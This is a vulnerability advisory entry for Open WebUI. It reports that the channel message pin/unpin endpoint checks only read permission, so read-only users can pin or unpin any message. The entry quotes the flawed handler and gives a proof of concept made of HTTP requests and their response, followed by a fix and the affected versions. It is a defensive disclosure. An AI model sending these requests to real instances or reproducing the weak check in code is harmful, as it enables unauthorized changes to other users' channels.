PYSEC-2026-2705

Vulnerability from pysec - Published: 2026-07-13 15:19 - Updated: 2026-07-13 16:05
VLAI
Details

Summary

Pin/Unpin is a write operation (modifies the message's is_pinned, pinned_by, pinned_at fields), but in standard channels it only checks read permission, allowing users with read-only access to pin/unpin any message.

Details

https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L1218

@router.post('/{id}/messages/{message_id}/pin', response_model=Optional[MessageUserResponse])
async def pin_channel_message(
    request: Request,
    id: str,
    message_id: str,
    form_data: PinMessageForm,
    user=Depends(get_verified_user),
    db: Session = Depends(get_session),
):
    check_channels_access(request)
    channel = Channels.get_channel_by_id(id, db=db)
    if not channel:
        raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=ERROR_MESSAGES.NOT_FOUND)

    if channel.type in ['group', 'dm']:
        if not Channels.is_user_channel_member(channel.id, user.id, db=db):
            raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    else:
        if user.role != 'admin' and not channel_has_access(user.id, channel, permission='read', db=db):
            raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

The channel_has_access function https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L75 checks user permissions against the AccessGrants table:

def channel_has_access(
    user_id: str,
    channel: ChannelModel,
    permission: str = 'read',  # 'read' or 'write'
    strict: bool = True,
    db: Optional[Session] = None,
) -> bool:
    if AccessGrants.has_access(
        user_id=user_id,
        resource_type='channel',
        resource_id=channel.id,
        permission=permission,
        db=db,
    ):
        return True
    # ...

The AccessGrant table distinguishes between read and write permission levels.

PoC

admin creates Standard Channel with Read-Only Access for test1 :

POST /api/v1/channels/create
Authorization: 
Content-Type: application/json

{
  "name": "pin-test-standard",
  "access_grants": [
    {
      "principal_type": "user",
      "principal_id": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
      "permission": "read"
    }
  ]
}

admin posts a Message in the Channel, and test1 has read permission only. image

test1 attempts to Pin Message:

POST /api/v1/channels/0699b656-578f-4976-94b0-65e2b19752fd/messages/4797359b-aad5-4081-9617-e8ca58524a87/pin
Authorization: Bearer <test1_token>
Content-Type: application/json

{
  "is_pinned": true
}
{
  "id": "4797359b-aad5-4081-9617-e8ca58524a87",
  "user_id": "28c859b7-84e2-4217-b4d7-3f0e43f7c4b9",
  "is_pinned": true,
  "pinned_by": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
  "pinned_at": 1774716314908288719,
  "content": "Admin announcement in standard channel - test1 should NOT be able to pin this"
}

Successfully pinned admin's message. pinned_by records test1's user ID. image

test1 (Read-Only) can alse Unpin Message. The Pin/Unpin endpoint in standard channels only checks read permission, allowing read-only users to pin/unpin any message.

Impact

Read-only users can pin irrelevant messages, disrupting important information display in the channel .

Recommended Fix

Change the Pin endpoint's permission check from read to write .

Impacted products
Name purl
open-webui pkg:pypi/open-webui

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui",
        "purl": "pkg:pypi/open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.124",
        "0.1.125",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.2.3",
        "0.2.4",
        "0.2.5",
        "0.3.0",
        "0.3.1",
        "0.3.10",
        "0.3.12",
        "0.3.13",
        "0.3.14",
        "0.3.15",
        "0.3.16",
        "0.3.17",
        "0.3.17.dev2",
        "0.3.17.dev3",
        "0.3.17.dev4",
        "0.3.17.dev5",
        "0.3.18",
        "0.3.19",
        "0.3.2",
        "0.3.20",
        "0.3.21",
        "0.3.22",
        "0.3.23",
        "0.3.24",
        "0.3.25",
        "0.3.26",
        "0.3.27",
        "0.3.27.dev1",
        "0.3.27.dev2",
        "0.3.27.dev3",
        "0.3.28",
        "0.3.29",
        "0.3.3",
        "0.3.30",
        "0.3.30.dev1",
        "0.3.30.dev2",
        "0.3.31",
        "0.3.31.dev1",
        "0.3.32",
        "0.3.33",
        "0.3.33.dev1",
        "0.3.34",
        "0.3.35",
        "0.3.4",
        "0.3.5",
        "0.3.6",
        "0.3.7",
        "0.3.8",
        "0.3.9",
        "0.4.0",
        "0.4.0.dev1",
        "0.4.0.dev2",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.4.5",
        "0.4.6",
        "0.4.6.dev1",
        "0.4.7",
        "0.4.8",
        "0.5.0",
        "0.5.0.dev1",
        "0.5.0.dev2",
        "0.5.1",
        "0.5.10",
        "0.5.11",
        "0.5.12",
        "0.5.13",
        "0.5.14",
        "0.5.15",
        "0.5.16",
        "0.5.17",
        "0.5.18",
        "0.5.19",
        "0.5.2",
        "0.5.20",
        "0.5.3",
        "0.5.3.dev1",
        "0.5.4",
        "0.5.5",
        "0.5.6",
        "0.5.7",
        "0.5.8",
        "0.5.9",
        "0.6.0",
        "0.6.1",
        "0.6.10",
        "0.6.11",
        "0.6.12",
        "0.6.13",
        "0.6.14",
        "0.6.15",
        "0.6.16",
        "0.6.18",
        "0.6.19",
        "0.6.2",
        "0.6.20",
        "0.6.21",
        "0.6.22",
        "0.6.23",
        "0.6.24",
        "0.6.25",
        "0.6.26",
        "0.6.26.dev1",
        "0.6.27",
        "0.6.28",
        "0.6.29",
        "0.6.3",
        "0.6.30",
        "0.6.31",
        "0.6.32",
        "0.6.33",
        "0.6.34",
        "0.6.35",
        "0.6.36",
        "0.6.37",
        "0.6.38",
        "0.6.39",
        "0.6.4",
        "0.6.40",
        "0.6.41",
        "0.6.42",
        "0.6.43",
        "0.6.5",
        "0.6.6",
        "0.6.6.dev1",
        "0.6.7",
        "0.6.8",
        "0.6.9",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.8.0",
        "0.8.1",
        "0.8.10",
        "0.8.11",
        "0.8.12",
        "0.8.2",
        "0.8.3",
        "0.8.4",
        "0.8.5",
        "0.8.6",
        "0.8.7",
        "0.8.8",
        "0.8.9",
        "0.9.0",
        "0.9.1",
        "0.9.2",
        "0.9.3",
        "0.9.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45386",
    "GHSA-5gc6-xhv4-2wg6"
  ],
  "details": "### Summary\n`Pin/Unpin` is a write operation (modifies the message\u0027s `is_pinned `, `pinned_by`, `pinned_at` fields), but in standard channels it only checks `read` permission, allowing users with read-only access to pin/unpin any message.\n\n### Details\nhttps://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L1218\n\n```\n@router.post(\u0027/{id}/messages/{message_id}/pin\u0027, response_model=Optional[MessageUserResponse])\nasync def pin_channel_message(\n    request: Request,\n    id: str,\n    message_id: str,\n    form_data: PinMessageForm,\n    user=Depends(get_verified_user),\n    db: Session = Depends(get_session),\n):\n    check_channels_access(request)\n    channel = Channels.get_channel_by_id(id, db=db)\n    if not channel:\n        raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=ERROR_MESSAGES.NOT_FOUND)\n\n    if channel.type in [\u0027group\u0027, \u0027dm\u0027]:\n        if not Channels.is_user_channel_member(channel.id, user.id, db=db):\n            raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())\n    else:\n        if user.role != \u0027admin\u0027 and not channel_has_access(user.id, channel, permission=\u0027read\u0027, db=db):\n            raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())\n```\n\nThe `channel_has_access` function https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L75 checks user permissions against the `AccessGrants` table:\n\n```\ndef channel_has_access(\n    user_id: str,\n    channel: ChannelModel,\n    permission: str = \u0027read\u0027,  # \u0027read\u0027 or \u0027write\u0027\n    strict: bool = True,\n    db: Optional[Session] = None,\n) -\u003e bool:\n    if AccessGrants.has_access(\n        user_id=user_id,\n        resource_type=\u0027channel\u0027,\n        resource_id=channel.id,\n        permission=permission,\n        db=db,\n    ):\n        return True\n    # ...\n```\n\nThe `AccessGrant` table distinguishes between `read` and `write` permission levels.\n\n### PoC\n`admin` creates Standard Channel with Read-Only Access for `test1` :\n\n```\nPOST /api/v1/channels/create\nAuthorization: \nContent-Type: application/json\n\n{\n  \"name\": \"pin-test-standard\",\n  \"access_grants\": [\n    {\n      \"principal_type\": \"user\",\n      \"principal_id\": \"cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c\",\n      \"permission\": \"read\"\n    }\n  ]\n}\n```\n\n`admin` posts a Message in the Channel,  and  `test1` has `read` permission only.\n\u003cimg width=\"1024\" height=\"423\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e9912bd7-3908-44f2-8984-22d0535dc66f\" /\u003e\n\n`test1` attempts to Pin Message:\n\n```\nPOST /api/v1/channels/0699b656-578f-4976-94b0-65e2b19752fd/messages/4797359b-aad5-4081-9617-e8ca58524a87/pin\nAuthorization: Bearer \u003ctest1_token\u003e\nContent-Type: application/json\n\n{\n  \"is_pinned\": true\n}\n```\n\n```\n{\n  \"id\": \"4797359b-aad5-4081-9617-e8ca58524a87\",\n  \"user_id\": \"28c859b7-84e2-4217-b4d7-3f0e43f7c4b9\",\n  \"is_pinned\": true,\n  \"pinned_by\": \"cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c\",\n  \"pinned_at\": 1774716314908288719,\n  \"content\": \"Admin announcement in standard channel - test1 should NOT be able to pin this\"\n}\n```\n\nSuccessfully pinned admin\u0027s message. `pinned_by` records test1\u0027s user ID.\n\u003cimg width=\"1024\" height=\"350\" alt=\"image\" src=\"https://github.com/user-attachments/assets/705b1f45-95a9-4e91-8a74-10bdbccde0b8\" /\u003e\n\n `test1` (Read-Only) can alse Unpin Message. The Pin/Unpin endpoint in standard channels only checks `read` permission, allowing read-only users to pin/unpin any message.\n\n### Impact\nRead-only users can pin irrelevant messages, disrupting important information display in the channel .\n\n### Recommended Fix\nChange the Pin endpoint\u0027s permission check from `read` to `write` .",
  "id": "PYSEC-2026-2705",
  "modified": "2026-07-13T16:05:11.089962Z",
  "published": "2026-07-13T15:19:07.247728Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-5gc6-xhv4-2wg6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45386"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.5"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/open-webui"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-5gc6-xhv4-2wg6"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has an IDOR vulnerability in the pin_channel_message API endpoint"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…